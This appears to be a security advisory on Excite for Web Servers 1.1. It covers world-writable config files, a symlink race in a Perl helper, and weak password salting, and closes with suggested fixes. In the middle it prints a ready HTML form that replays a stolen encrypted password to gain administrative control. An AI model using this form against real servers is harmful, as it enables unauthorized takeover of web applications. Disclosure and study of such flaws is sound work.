COMMAND
Excite for Web Servers (EWS)
SYSTEMS AFFECTED
Systems running Excite for Web Servers 1.1
PROBLEM
Michael Gerdts found numerous security concerns with EWS 1.1 which
can lead to an ordinary user being able to gain control over EWS.
1. The installation program installs several files with worldwrite
permissions. This is bad because one of them (Architext.conf)
contains the encrypted password which is used for all
authentication. Because of this, any user with shell or
non-anonymous FTP access to the web server could modify the
encrypted password. Gurjeet Clair found in the AT-admin.cgi
file, the script repeatedly calls for a perl function called
"append_line_to_file" from the "os_functions.pl" file in EWS'
perllib directory. IE:
("$attr{'ArchitextRoot'}/Architext.conf", "AdminMail $form{'at_email'}")
Didn't seem too bad at first, but it calls another EWS grown
function called "make_files_readwriteable", which looks like
this:
sub make_files_readwriteable {
local($files) = @_;
return 1 if ($ews_port eq 'NT');
return system("/bin/chmod a+rw $files"); <---- EVIL!
}
Ahh, there's the litte culprit right there! The "chmod a+rw
$files". Also if the the directory is somehow writable by the
a user theres a symbolic link type problem with the
"append_line_to_file" function, since what it actually does is
rename the old file (in this case Architext.conf.old) and then
creates the new file (Architext.conf) and copies things over.
2. All authentication after the initial access to AT-admin.cgi
relies solely on the encrypted password. Since any user with
shell or FTP access can read Architext.conf, it is trivial for
local users to gain administrative privileges over EWS. Thus,
a user only needs to have a web page that looks like:
<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>
Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS
with values that make sense for your situation. By accessing
this page and clicking on the button you get to a menu that
behaves exactly as if you knew the unencrypted password.
3. Passwords are not encrypted properly. Note that the first two
characters of the encrypted password are always the first two
characters of the plain-text password. For example, if you
choose the password "blah", the encrypted password is
"blk1x.w.ISlDw".
In light of the fact that the plain-text password is not needed
for adminstrative control (above), this problem is not that
significant. Since this same password may be used other places
it should be protected better. If a dictionary attack for the
password is done, only those words that start with "bl" need be
examined. If a brute force attack is used, the number of
guesses goes down significantly
SOLUTION
Solution to above mentioned problems:
1. At install time, ask the administrator for the username or uid
that CGI scripts are run as. Make the excite installation
directory restrictive enough such that only this user can get
into the directory and make sure that no files are
world-writable. Because of other concerns (such as dictionary
attacks) this file should not be world-readable. The fix is to
use "chmod 0600 $file" (u+rw) OR not use the system call itself
and use the built in perl functions to set permissions. Of
course this only creates the permissions as the user that the
webserver runs as.
2. Perhaps my transmitting a new hash of the password each time?
3. Encrypt passwords using random salts. Even using "aa" as the
salt in every case would be more secure.